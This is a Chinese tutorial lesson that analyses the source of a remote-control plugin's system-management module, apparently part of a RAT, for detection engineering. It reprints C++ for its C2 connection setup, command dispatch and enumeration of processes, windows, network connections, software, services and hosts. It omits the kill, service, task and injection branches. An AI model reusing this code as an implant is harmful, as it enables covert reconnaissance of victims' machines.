第 24 课:主插件:系统管理
# 第 24 课:主插件:系统管理
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课定位:防御分析、源码阅读、资产枚举能力识别和企业检测工程。 本课只讲系统管理模块的结构、枚举对象和防御价值,不提供破坏系统、注入进程、删除服务或篡改配置的可复用步骤。
第 22 课讲了登录模块:连接建立后发送主机画像、等待激活,并进入插件请求链。本课进入一个典型功能插件:主插件\系统管理。
系统管理模块的能力面很宽,既包含相对正常的资产枚举,也包含高风险的系统控制能力。为了保持学习边界,本课重点讲“它能枚举什么、数据来自哪里、这些能力在企业安全中有什么价值、应该如何检测和加固”。涉及终止进程、删除文件、服务控制、任务创建、注入等高危分支,只做防御性说明。
本课主线是:
系统管理入口
-> 创建 CMachineManager
-> OnReceive 按命令分发
-> 进程 / 窗口 / 网络 / 软件 / 服务 / 任务 / hosts 枚举
-> 打包为 TOKEN_MACHINE_* 返回
-> 企业侧关联资产、连接、持久化和异常操作
2
3
4
5
6
# 1. 本课学习目标
学完本课,你应该能回答这些问题:
| 问题 | 本课回答 |
|---|---|
| 系统管理模块在工程中做什么 | 通过 CMachineManager 接收命令并返回系统对象列表 |
| 它能枚举哪些对象 | 进程、窗口、网络连接、软件、浏览记录、收藏夹、服务、任务、hosts |
OnReceive 为什么重要 | 它把命令字分发到具体枚举或控制函数 |
| 进程列表有什么价值 | 可识别异常进程、路径、用户、位数、内存和窗口标题 |
| 网络连接列表有什么价值 | 可把 TCP/UDP 连接和 PID、进程名关联 |
| 服务、任务、hosts 为什么重要 | 它们常用于合法运维,也常出现在持久化和劫持排查中 |
| 企业如何检测 | 关联资产枚举、权限变化、网络 PID、服务任务 hosts 和异常操作 |
# 2. 本课涉及源码目录和文件
| 源码文件 | 关键位置 | 本课关注点 |
|---|---|---|
主插件\系统管理\系统管理\系统管理.cpp | 6-40 行 | plugInfo、入口连接、创建 CMachineManager |
主插件\系统管理\系统管理\MachineManager.h | 23-77 行 | 命令字和返回 token |
主插件\系统管理\系统管理\MachineManager.h | 88-150 行 | CMachineManager 类和功能函数 |
主插件\系统管理\系统管理\MachineManager.cpp | 36-83 行 | 构造函数和 OnReceive 分发 |
主插件\系统管理\系统管理\MachineManager.cpp | 413-704 行 | 进程列表采集 |
主插件\系统管理\系统管理\MachineManager.cpp | 704-725 行 | 窗口列表采集与发送 |
主插件\系统管理\系统管理\MachineManager.cpp | 725-807、1434-1800 行 | 网络连接列表 |
主插件\系统管理\系统管理\MachineManager.cpp | 807-1036 行 | 软件列表 |
主插件\系统管理\系统管理\MachineManager.cpp | 1206-1396 行 | 服务列表 |
主插件\系统管理\系统管理\MachineManager.cpp | 1396-1435 行 | hosts 文件读取 |
主插件\系统管理\系统管理\MachineManager.cpp | 2085-2174 行 | 计划任务枚举 |
主插件\系统管理\系统管理\MachineManager.cpp | 2191-2352 行 | 计划任务创建、运行、停止、删除,高风险分支只做防御说明 |
# 3. 系统管理模块能力面
先看能力面。

系统管理 插件不是只做一个功能,它更像一个远程资产和系统对象管理器。它能读取大量本机对象:
| 对象 | 数据来源 | 企业安全价值 |
|---|---|---|
| 进程 | Toolhelp 快照、PSAPI、进程 token | 发现异常进程、未知路径、异常权限 |
| 窗口 | EnumWindows、窗口标题、进程 ID | 观察交互程序、前台应用、窗口隐藏情况 |
| 网络连接 | iphlpapi.dll、TCP/UDP 表 | 关联进程和外联连接 |
| 软件列表 | 卸载注册表项 | 资产盘点、脆弱软件识别 |
| 服务 | SCM 服务控制管理器 | 发现异常服务、驱动服务、启动方式 |
| 计划任务 | Task Scheduler COM 接口 | 发现计划任务持久化 |
| hosts | 系统 hosts 文件 | 发现域名劫持或异常解析 |
其中“枚举”本身有合法用途,例如资产盘点和远程运维。但如果这些能力被未授权使用,就会变成隐蔽侦察和系统控制能力。
# 4. 插件入口:创建 CMachineManager
先看入口文件。
// 源码位置:主插件\系统管理\系统管理\系统管理.cpp:6-40
// 防御分析注释:
// 1. 这段是系统管理插件的启动入口,不直接枚举系统对象,只负责建立通信和创建管理器。
// 2. plugInfo 是构建期写入或运行期读取的连接配置,防御侧可把它理解为“插件上线参数”。
// 3. MainThread 根据 IsTcp 选择 CTcpSocket 或 CUdpSocket,说明同一套功能可复用不同传输通道。
// 4. Connect 成功后才创建 CMachineManager,因此“网络连接成功”是所有系统管理命令的前置条件。
// 5. run_event_loop 持续接收主控命令;真正的系统枚举和控制逻辑在 CMachineManager::OnReceive 中触发。
struct plugInfo
{
char mark[30]; // 配置定位标记,常用于在二进制数据中寻找配置块。
TCHAR szAddress[255]; // 远端地址;企业排查时应与外联目的地址、进程路径一起看。
DWORD szPort; // 远端端口;单独看端口意义有限,要结合协议和进程上下文。
BOOL IsTcp; // 1 表示 TCP,0 表示 UDP;影响后续 socketClient 的具体类型。
BOOL RunDllEntryProc; // DLL 入口运行模式标志;为 TRUE 时结束流程会调用 ExitProcess。
} MyInfo =
{
"plugmark",
_T("127.0.0.1"),
6666,
1,
0,
};
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
ISocketBase* socketClient;
// 触发点 1:根据配置选择通信对象。
// 防御侧观察:同一个插件功能不绑定固定协议,检测时不能只写死 TCP 或固定端口。
if (MyInfo.IsTcp == 1)
socketClient = new CTcpSocket();
else
socketClient = new CUdpSocket();
// 触发点 2:连接成功后创建 CMachineManager。
// CMachineManager 的构造函数会发送模块 token,随后 OnReceive 接收主控命令。
if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
{
CMachineManager manager(socketClient);
socketClient->run_event_loop();
}
// 清理网络对象。若以 DLL 入口方式运行,RunDllEntryProc 会影响退出行为。
SAFE_DELETE(socketClient);
if (MyInfo.RunDllEntryProc)
ExitProcess(0);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
这段代码说明系统管理插件本身也复用了 HPSocket 网络库,并通过 CManager 派生类接入统一收发框架。
# 5. 命令字与能力边界
MachineManager.h 定义了大量命令字。为了防御学习,我们把它分为两类:枚举类命令和控制类命令。
// 源码位置:主插件\系统管理\系统管理\MachineManager.h:23-77
// 防御分析注释:
// 1. COMMAND_* 是主控发给插件的动作请求,TOKEN_* 是插件返回给主控的数据类型。
// 2. COMMAND_MACHINE_* 多数是资产枚举命令,常见于运维工具,也常见于入侵后的主机侦察。
// 3. COMMAND_PROCESS_*、COMMAND_SERVICE_*、COMMAND_TASK*、COMMAND_INJECT 是控制类能力,风险明显更高。
// 4. 企业侧可把“命令字序列 + 进程 API + 网络会话”作为协议行为特征,而不是只看单点 API。
enum MACHINE
{
// ===== 资产枚举类:读取系统对象,通常会返回 TOKEN_MACHINE_* 数据包 =====
COMMAND_MACHINE_PROCESS,
COMMAND_MACHINE_WINDOWS,
COMMAND_MACHINE_NETSTATE,
COMMAND_MACHINE_SOFTWARE,
COMMAND_MACHINE_HTML,
COMMAND_MACHINE_FAVORITES,
COMMAND_MACHINE_WIN32SERVICE,
COMMAND_MACHINE_DRIVERSERVICE,
COMMAND_MACHINE_TASK,
COMMAND_MACHINE_HOSTS,
// ===== 控制类:会影响应用、窗口、进程、hosts、服务或计划任务状态 =====
COMMAND_APPUNINSTALL,
COMMAND_WINDOW_OPERATE,
COMMAND_WINDOW_CLOSE,
COMMAND_PROCESS_KILL,
COMMAND_PROCESS_KILLDEL,
COMMAND_PROCESS_DEL,
COMMAND_PROCESS_FREEZING,
COMMAND_PROCESS_THAW,
COMMAND_HOSTS_SET,
COMMAND_SERVICE_LIST_WIN32,
COMMAND_SERVICE_LIST_DRIVER,
COMMAND_DELETESERVERICE,
COMMAND_STARTSERVERICE,
COMMAND_STOPSERVERICE,
COMMAND_PAUSESERVERICE,
COMMAND_CONTINUESERVERICE,
COMMAND_TASKCREAT,
COMMAND_TASKDEL,
COMMAND_TASKSTOP,
COMMAND_TASKSTART,
// ===== 注入类:属于高风险行为,本课只作为检测面说明,不展开操作细节 =====
COMMAND_INJECT,
// ===== 回包 token:用于标识返回数据是什么列表或结果 =====
TOKEN_MACHINE_PROCESS,
TOKEN_MACHINE_WINDOWS,
TOKEN_MACHINE_NETSTATE,
TOKEN_MACHINE_SOFTWARE,
TOKEN_MACHINE_HTML,
TOKEN_MACHINE_FAVORITES,
TOKEN_MACHINE_WIN32SERVICE,
TOKEN_MACHINE_DRIVERSERVICE,
TOKEN_MACHINE_HOSTS,
TOKEN_MACHINE_SERVICE_LIST,
TOKEN_MACHINE_TASKLIST,
TOKEN_MACHINE_MSG,
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
这段枚举对企业检测很有帮助。它说明该模块不是单纯资产盘点工具,还具备窗口控制、进程结束、服务操作、任务操作、hosts 修改和注入相关能力。专栏后面只展开枚举类逻辑,高风险控制分支只用于风险识别。
# 6. OnReceive:命令分发中心

OnReceive 是系统管理模块的命令分发中心。
// 源码位置:主插件\系统管理\系统管理\MachineManager.cpp:36-83
// 防御分析注释:
// 1. 构造函数先发送 TOKEN_SYSINFOLIST,提示主控侧“系统管理模块已就绪”。
// 2. OnReceive 是远端命令进入本模块后的第一站,lpBuffer[0] 就是命令字。
// 3. 枚举类命令会调用 Send*List,读取本机对象并通过 Send 回传列表。
// 4. 控制类命令也走这个分发中心,因此日志里看到 OnReceive 后要继续追踪具体 case。
// 5. 高风险控制类命令在本课不展开,只用来帮助读者建立风险边界。
CMachineManager::CMachineManager(ISocketBase* pClient) : CManager(pClient)
{
m_buser = FALSE;
// 构造阶段主动回一个模块 token。
// 防御侧价值:这类短包可作为协议识别线索,早于具体系统枚举行为出现。
BYTE lpBuffer = TOKEN_SYSINFOLIST;
Send((LPBYTE)&lpBuffer, 1);
lpFUBuffer = NULL;
dwFUOffset = 1;
m_buser = TRUE;
m_pService = NULL;
}
void CMachineManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
// 心跳包不触发系统操作,直接返回,避免误判为有效命令。
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
// 所有分支都由网络数据首字节触发。
// 如果企业侧能在网关或主机侧还原命令字,就能把“请求了什么对象”记录下来。
switch (lpBuffer[0])
{
case COMMAND_MACHINE_PROCESS: SendProcessList(); break; // 进程列表:PID、路径、用户、位数、窗口等。
case COMMAND_MACHINE_WINDOWS: SendWindowsList(); break; // 窗口列表:窗口标题和 PID,可能包含敏感文档/网页标题。
case COMMAND_MACHINE_NETSTATE: SendNetStateList(); break; // 网络连接:把 TCP/UDP 连接关联到进程。
case COMMAND_MACHINE_SOFTWARE: SendSoftWareList(); break; // 软件列表:卸载注册表项,可能暴露安全产品和脆弱软件。
case COMMAND_MACHINE_HTML: SendIEHistoryList(); break; // 浏览历史:涉及隐私和业务访问轨迹。
case COMMAND_MACHINE_FAVORITES: SendFavoritesUrlList(); break; // 收藏夹:涉及用户常用业务系统。
case COMMAND_MACHINE_WIN32SERVICE: SendServicesList(SERVICE_WIN32); break; // 普通服务:排查持久化和异常服务。
case COMMAND_MACHINE_DRIVERSERVICE: SendServicesList(SERVICE_KERNEL_DRIVER); break; // 驱动服务:风险更高,需要重点关注签名和路径。
case COMMAND_MACHINE_TASK: GetRoot(); break; // 计划任务:登录、启动和定时触发器是持久化重点。
case COMMAND_MACHINE_HOSTS: SendHostsList(); break; // hosts:排查域名劫持和异常解析。
// 防御分析说明:
// 后续还存在窗口控制、进程结束、服务控制、计划任务控制、注入等分支。
// 这些属于高风险控制能力,本课不展开操作步骤。
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
阅读这种分发函数时,新手要抓住两件事:
lpBuffer[0]是命令字。- 每个命令字会进入一个具体功能函数。
检测时也是一样:如果能看到命令字序列,就能推断远端正在请求什么系统对象。
# 7. 资产枚举数据来源
系统管理模块的枚举函数最终都做一件事:从 Windows API 或系统位置取数据,写入缓冲区,再通过 Send 返回。

通用模式如下:
收到 COMMAND_MACHINE_*
-> 调用 get*List
-> LocalAlloc / LocalReAlloc 维护缓冲区
-> lpBuffer[0] 写入 TOKEN_MACHINE_*
-> 追加对象字段
-> Send 返回
2
3
4
5
6
这个模式在进程、窗口、网络、软件、服务、任务和 hosts 中反复出现。
# 8. 进程列表:资产盘点与异常进程识别
进程列表是系统管理里最基础、也最有价值的枚举。
// 源码位置:主插件\系统管理\系统管理\MachineManager.cpp:413-420
// 防御分析注释:
// 1. SendProcessList 是 COMMAND_MACHINE_PROCESS 的落点。
// 2. getProcessList 负责真正采集,SendProcessList 只负责发送和释放缓冲区。
// 3. 返回包首字节是 TOKEN_MACHINE_PROCESS,后续字段由 getProcessList 逐项追加。
// 4. 企业侧应把进程列表和网络连接、服务、任务关联,而不是孤立查看。
void CMachineManager::SendProcessList()
{
// 采集失败返回 NULL;此时没有回包,可能表现为主控界面列表为空。
LPBYTE lpBuffer = getProcessList();
if (lpBuffer == NULL)
return;
// LocalSize(lpBuffer) 依赖前面 LocalAlloc/LocalReAlloc 分配出的缓冲区大小。
// 防御侧不要只看 Send 调用,还要回溯缓冲区首字节 token 和字段构造逻辑。
Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
getProcessList 使用 Toolhelp 快照遍历进程,并采集进程路径、用户、位数、窗口标题、优先级、线程数、内存和文件大小等字段。
// 源码位置:主插件\系统管理\系统管理\MachineManager.cpp:510-640
// 防御分析注释:
// 1. CreateToolhelp32Snapshot 是进程枚举入口,属于主机侦察常见 API。
// 2. DebugPrivilege(SE_DEBUG_NAME, TRUE) 尝试启用调试权限,说明它希望读取更多进程信息。
// 3. OpenProcess + GetProcessImageFileName 获取进程路径;访问失败时仍会继续处理下一项。
// 4. GetProcessUserName 获取进程所属用户,便于判断进程是否运行在异常账户或高权限上下文。
// 5. Is64BitPorcess 标记进程位数,后续注入、插件加载和兼容性判断都会用到这个信息。
// 6. LocalReAlloc 动态扩展返回缓冲区;如果字段很多,回包大小会随进程数量增长。
LPBYTE CMachineManager::getProcessList()
{
HANDLE hSnapshot = NULL;
HANDLE hProcess = NULL;
PROCESSENTRY32 pe32 = { 0 };
TCHAR strProcessName[MAX_PATH] = { 0 };
TCHAR strProcessUser[MAX_PATH] = { 0 };
TCHAR szImagePath[MAX_PATH] = { 0 };
// 触发点 1:启用 SeDebugPrivilege。
// 合法工具应说明为什么需要该权限;异常进程临时启用该权限应重点关注。
DebugPrivilege(SE_DEBUG_NAME, TRUE);
// 触发点 2:创建进程快照,后续 Process32First/Process32Next 遍历所有进程。
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return NULL;
pe32.dwSize = sizeof(PROCESSENTRY32);
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
// 回包类型。主控端收到后知道这是“进程列表”。
lpBuffer[0] = TOKEN_MACHINE_PROCESS;
DWORD dwOffset = 1;
// 先枚举窗口,后面可把窗口标题和进程 PID 关联。
// 这解释了为什么进程列表里可能出现窗口标题字段。
EnumWindows(lpEnumFunc, NULL);
if (Process32First(hSnapshot, &pe32))
{
do
{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE, pe32.th32ProcessID);
if ((pe32.th32ProcessID != 0) &&
(pe32.th32ProcessID != 4) &&
(pe32.th32ProcessID != 8))
{
// 尝试把 NT 设备路径转换为 DOS 路径。
// 防御侧更容易基于 DOS 路径做目录分层、签名校验和基线比对。
if (0 == GetProcessImageFileName(hProcess, szImagePath, MAX_PATH))
lstrcpy(strProcessName, _T("---"));
else
DosPathToNtPath(szImagePath, strProcessName);
// 采集进程所属用户。异常用户、服务账户或管理员上下文都需要单独标记。
if (!GetProcessUserName(hProcess, strProcessUser))
lstrcpy(strProcessUser, _T("-"));
// 采集进程位数。x86 插件运行在 x64 系统时,后续访问和注入逻辑容易受 WoW64 影响。
bool is64 = Is64BitPorcess(pe32.th32ProcessID);
// 后续代码把 PID、位数、窗口标题、进程名、路径、用户、
// 内存、文件大小等字段依次写入 lpBuffer。
}
CloseHandle(hProcess);
} while (Process32Next(hSnapshot, &pe32));
}
// 枚举结束后关闭调试权限。检测侧可关注权限启用和关闭之间发生了哪些 API 调用。
DebugPrivilege(SE_DEBUG_NAME, FALSE);
CloseHandle(hSnapshot);
return lpBuffer;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
企业侧可以从进程列表中关注:
| 字段 | 检测价值 |
|---|---|
| PID | 和网络连接、窗口、服务关联 |
| 进程名 | 识别伪装、双扩展名、异常命名 |
| 路径 | 发现用户目录、临时目录、ProgramData 中的异常程序 |
| 用户 | 判断是否以高权限或异常账户运行 |
| 位数 | 关联 x86/x64 插件和注入风险 |
| 窗口标题 | 判断是否有隐藏或异常交互进程 |
| 内存/文件大小 | 粗略识别异常占用或异常小文件 |
# 9. 窗口列表:交互面和可见性
窗口列表通过 EnumWindows 枚举可见窗口。
// 源码位置:主插件\系统管理\系统管理\MachineManager.cpp:704-725
// 防御分析注释:
// 1. getWindowsList 通过 EnumWindowsProc 收集窗口信息。
// 2. 返回包首字节是 TOKEN_MACHINE_WINDOWS。
// 3. 窗口标题可以帮助判断用户正在使用什么程序,也属于敏感信息。
LPBYTE CMachineManager::getWindowsList()
{
LPBYTE lpBuffer = NULL;
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&lpBuffer);
lpBuffer[0] = TOKEN_MACHINE_WINDOWS;
return lpBuffer;
}
void CMachineManager::SendWindowsList()
{
LPBYTE lpBuffer = getWindowsList();
if (lpBuffer == NULL)
return;
Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
窗口列表适合辅助判断:
| 观察点 | 价值 |
|---|---|
| 可见窗口标题 | 用户交互环境 |
| 窗口对应 PID | 和进程列表关联 |
| 窗口控制命令存在 | 说明具备远程影响桌面行为的能力 |
合法工具采集窗口标题时应谨慎,因为窗口标题可能包含文档名、聊天对象、网页标题等敏感信息。
# 10. 进程与网络连接关联
网络连接列表的核心价值,是把连接和进程关联起来。

getNetStateList 加载 iphlpapi.dll,读取 TCP/UDP 表,并把 PID 映射到进程名。
// 源码位置:主插件\系统管理\系统管理\MachineManager.cpp:1434-1515
// 防御分析注释:
// 1. getNetStateList 是 COMMAND_MACHINE_NETSTATE 的落点。
// 2. lpBuffer[0] = TOKEN_MACHINE_NETSTATE,说明返回网络连接列表。
// 3. 通过 iphlpapi.dll 动态解析 TCP/UDP 扩展表函数,兼容不同 Windows 版本。
// 4. 每条连接都会包含进程名、PID、协议、本地地址、远程地址和状态。
// 5. 这是企业排查异常外联最有价值的数据之一,因为它能把“连接”落到“进程”上。
LPBYTE CMachineManager::getNetStateList()
{
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
lpBuffer[0] = TOKEN_MACHINE_NETSTATE;
DWORD dwOffset = 1;
// 动态加载 iphlpapi.dll。
// 防御侧可以把 LoadLibrary("iphlpapi.dll") 与后续 GetProcAddress、网络表枚举关联起来看。
HMODULE hModule = ::LoadLibrary(_T("iphlpapi.dll"));
// 解析旧式扩展表函数,用于获取 TCP 连接与进程 ID 的对应关系。
pAllocateAndGetTcpExTableFromStack =
(PFNAllocateAndGetTcpExTableFromStack)::GetProcAddress(
hModule, "AllocateAndGetTcpExTableFromStack");
// 解析 UDP 扩展表函数。UDP 没有连接状态,但能看到本地监听端口与 PID。
pAllocateAndGetUdpExTableFromStack =
(PFNAllocateAndGetUdpExTableFromStack)::GetProcAddress(
hModule, "AllocateAndGetUdpExTableFromStack");
// 后续代码读取 TCP/UDP 表,并逐条写入 lpBuffer。
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
TCP/UDP 条目写入时,会包含进程名、PID、协议和地址。
// 源码位置:主插件\系统管理\系统管理\MachineManager.cpp:1639-1795
// 防御分析注释:
// 1. TCP 条目会记录连接状态,例如 LISTEN、ESTAB、TIME_WAIT 等。
// 2. UDP 条目没有远端地址时使用 *.*.*.*:*,不能因此忽略它的本地监听价值。
// 3. ProcessPidToName 把 PID 转成进程名,用于和进程列表、服务列表、任务列表关联。
// 4. 每个字段按顺序 memcpy 到 lpBuffer,主控端必须按同样顺序解包。
// 5. 企业侧应把异常远程地址和进程路径、用户、签名状态一起判断。
TCHAR strProcessName[100] = { 0 };
TCHAR* strType = _T("[TCP]");
// 字段 1:进程名。它来自 PID 映射,不是网络表原生字段。
lstrcpy(strProcessName,
ProcessPidToName(hProcessSnap, pTcpTable_Vista->table[i].dwProcessId, szProcessName));
memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(TCHAR) + 2);
dwOffset += lstrlen(strProcessName) * sizeof(TCHAR) + 2;
// 字段 2:PID。后续可以用它回查进程路径、用户、服务名和窗口标题。
memcpy(lpBuffer + dwOffset, &pTcpTable_Vista->table[i].dwProcessId, sizeof(DWORD) + 2);
dwOffset += sizeof(DWORD) + 2;
// 字段 3:协议类型。TCP/UDP 处理方式不同,检测逻辑也应分开建模。
memcpy(lpBuffer + dwOffset, strType, lstrlen(strType) * sizeof(TCHAR) + 2);
dwOffset += lstrlen(strType) * sizeof(TCHAR) + 2;
// 字段 4:本地地址和端口。用于发现异常监听或本机代理行为。
memcpy(lpBuffer + dwOffset, szLocalAddr, lstrlen(szLocalAddr) * sizeof(TCHAR) + 2);
dwOffset += lstrlen(szLocalAddr) * sizeof(TCHAR) + 2;
// 字段 5:远程地址和端口。用于外联检测,但需要结合进程上下文降低误报。
memcpy(lpBuffer + dwOffset, szRemoteAddr, lstrlen(szRemoteAddr) * sizeof(TCHAR) + 2);
dwOffset += lstrlen(szRemoteAddr) * sizeof(TCHAR) + 2;
// 字段 6:连接状态。ESTABLISHED、LISTEN、TIME_WAIT 的风险含义不同。
memcpy(lpBuffer + dwOffset, strState, lstrlen(strState) * sizeof(TCHAR) + 2);
dwOffset += lstrlen(strState) * sizeof(TCHAR) + 2;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
网络连接检测要避免只看 IP。更稳定的判断是:
远程地址
+ PID
+ 进程路径
+ 进程用户
+ 进程位数
+ 启动来源
+ 服务/任务/注册表线索
2
3
4
5
6
7
# 11. 软件列表:资产和脆弱面
软件列表来自卸载注册表项。
// 源码位置:主插件\系统管理\系统管理\MachineManager.cpp:807-930
// 防御分析注释:
// 1. getSoftWareList 读取 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall。
// 2. 采集 DisplayName、Publisher、DisplayVersion、InstallDate、UninstallString。
// 3. 64 位系统还会关注 WOW64 视图差异。
// 4. 软件列表可用于资产盘点,也可能暴露脆弱软件和安全产品信息。
LPBYTE CMachineManager::getSoftWareList()
{
LPBYTE lpBuffer = NULL;
DWORD dwOffset = 1;
TCHAR regDisplayName[MAX_LEG] = { 0 };
TCHAR regPublisher[MAX_LEG] = { 0 };
TCHAR regDisplayVersion[MAX_LEG] = { 0 };
TCHAR regInstallDate[MAX_LEG] = { 0 };
TCHAR regUninstallString[MAX_LEG] = { 0 };
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
lpBuffer[0] = TOKEN_MACHINE_SOFTWARE;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
_T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"),
NULL, KEY_READ, &hKey) == ERROR_SUCCESS)
{
RegQueryInfoKey(hKey, NULL, NULL, NULL, &dwRegNum,
NULL, NULL, NULL, NULL, NULL, NULL, NULL);
for (int i = 0; i < (int)dwRegNum; i++)
{
RegEnumKeyEx(hKey, i, regBufferName, &dwRegSize, NULL, NULL, NULL, NULL);
RegOpenKeyEx(hKey, regBufferName, NULL, KEY_READ, &hSubKey);
RegQueryValueEx(hSubKey, _T("DisplayName"), 0, &dwType, (LPBYTE)regDisplayName, &dwRegSize);
RegQueryValueEx(hSubKey, _T("Publisher"), 0, &dwType, (LPBYTE)regPublisher, &dwRegSize);
RegQueryValueEx(hSubKey, _T("DisplayVersion"), 0, &dwType, (LPBYTE)regDisplayVersion, &dwRegSize);
RegQueryValueEx(hSubKey, _T("InstallDate"), 0, &dwType, (LPBYTE)regInstallDate, &dwRegSize);
RegQueryValueEx(hSubKey, _T("UninstallString"), 0, &dwType, (LPBYTE)regUninstallString, &dwRegSize);
// 后续代码把这些字段写入 lpBuffer。
}
}
return lpBuffer;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
软件列表在企业侧的价值:
| 字段 | 用途 |
|---|---|
DisplayName | 资产名称 |
Publisher | 供应商归类 |
DisplayVersion | 漏洞影响版本判断 |
InstallDate | 变更时间线 |
UninstallString | 安装路径、卸载命令线索 |
# 12. 服务列表:服务和驱动服务
服务枚举通过 SCM 完成。
// 源码位置:主插件\系统管理\系统管理\MachineManager.cpp:1206-1396
// 防御分析注释:
// 1. SendServicesList 可传 SERVICE_WIN32 或 SERVICE_KERNEL_DRIVER,分别枚举普通服务和驱动服务。
// 2. getServiceList 调用 OpenSCManager 和 EnumServicesStatus,这是读取 SCM 数据库的核心路径。
// 3. 每个服务会采集显示名、描述、状态、启动类型、可执行路径等信息。
// 4. 服务和驱动服务是持久化排查重点,驱动服务还涉及内核态风险。
// 5. 防御侧应重点看服务路径、启动类型、签名、创建时间和关联进程。
void CMachineManager::SendServicesList(DWORD dwScType)
{
LPBYTE lpBuffer = getServiceList(dwScType);
if (lpBuffer == NULL)
return;
Send((LPBYTE)lpBuffer, (int)(LocalSize(lpBuffer)));
LocalFree(lpBuffer);
}
LPBYTE CMachineManager::getServiceList(DWORD dwScType)
{
// 服务枚举前启用调试权限。并非所有服务查询都需要该权限,异常进程启用时要记录。
EnablePrivilege(SE_DEBUG_NAME, TRUE);
dwServiceType = dwScType;
// 打开 SCM,仅申请连接和枚举权限。
// 如果后续出现 SERVICE_START/STOP/DELETE 等权限,则风险更高。
SC_HANDLE sc = OpenSCManager(NULL, NULL,
SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE);
// 第一次调用用于拿到所需缓冲区大小。
EnumServicesStatus(sc, dwServiceType, SERVICE_STATE_ALL,
lpServices, size, &size, &ret, NULL);
// 第二次调用才真正拿到服务数组。
lpServices = (LPENUM_SERVICE_STATUS)LocalAlloc(LPTR, size);
EnumServicesStatus(sc, dwServiceType, SERVICE_STATE_ALL,
lpServices, size, &size, &ret, NULL);
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024 * sizeof(TCHAR));
lpBuffer[0] = TOKEN_MACHINE_SERVICE_LIST;
for (DWORD i = 0; i < ret; i++)
{
// 打开单个服务并读取配置。
// QueryServiceConfig 能拿到二进制路径和启动类型,是排查异常服务的关键字段。
SC_HANDLE sh = OpenService(sc, lpServices[i].lpServiceName, SERVICE_QUERY_CONFIG);
QueryServiceConfig2(sh, SERVICE_CONFIG_DESCRIPTION, (LPBYTE)szInfo, dwSize, &dwSize);
QueryServiceConfig(sh, (LPQUERY_SERVICE_CONFIG)szInfo, dwSize, &dwSize);
// 后续代码写入服务名、显示名、描述、状态、启动类型、路径等字段。
}
EnablePrivilege(SE_DEBUG_NAME, FALSE);
return lpBuffer;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
服务列表的检测重点:
| 观察点 | 异常特征 |
|---|---|
| 服务路径 | 用户目录、临时目录、无签名路径 |
| 启动类型 | 异常 Auto Start 或 Boot Start |
| 服务描述 | 空描述、伪装系统描述 |
| 驱动服务 | 非预期驱动、异常驱动路径 |
| 创建时间 | 与入侵时间线吻合 |
# 13. 计划任务与 hosts
服务、任务和 hosts 经常一起用于排查持久化或流量劫持。

hosts 读取逻辑如下:
// 源码位置:主插件\系统管理\系统管理\MachineManager.cpp:1396-1435
// 防御分析注释:
// 1. 根据 Wow64 状态选择 sysnative 或 system32 下的 hosts 路径,避免 32 位进程访问被重定向。
// 2. SetFileAttributes 将 hosts 文件属性改为普通属性,这属于敏感文件操作。
// 3. OPEN_ALWAYS 在文件不存在时会创建文件;对系统配置文件使用该模式需要谨慎审计。
// 4. 读取 hosts 内容后以 TOKEN_MACHINE_HOSTS 返回。
// 5. 企业侧应关注 hosts 文件的异常映射、权限变化和属性变化。
void CMachineManager::SendHostsList()
{
TCHAR szHostsFile[MAX_PATH] = { 0 };
BOOL bIsWow64 = FALSE;
// 先定位 Windows 目录,再根据进程位数选择真实系统目录。
GetWindowsDirectory(szHostsFile, sizeof(szHostsFile));
::IsWow64Process(::GetCurrentProcess(), &bIsWow64);
if (bIsWow64)
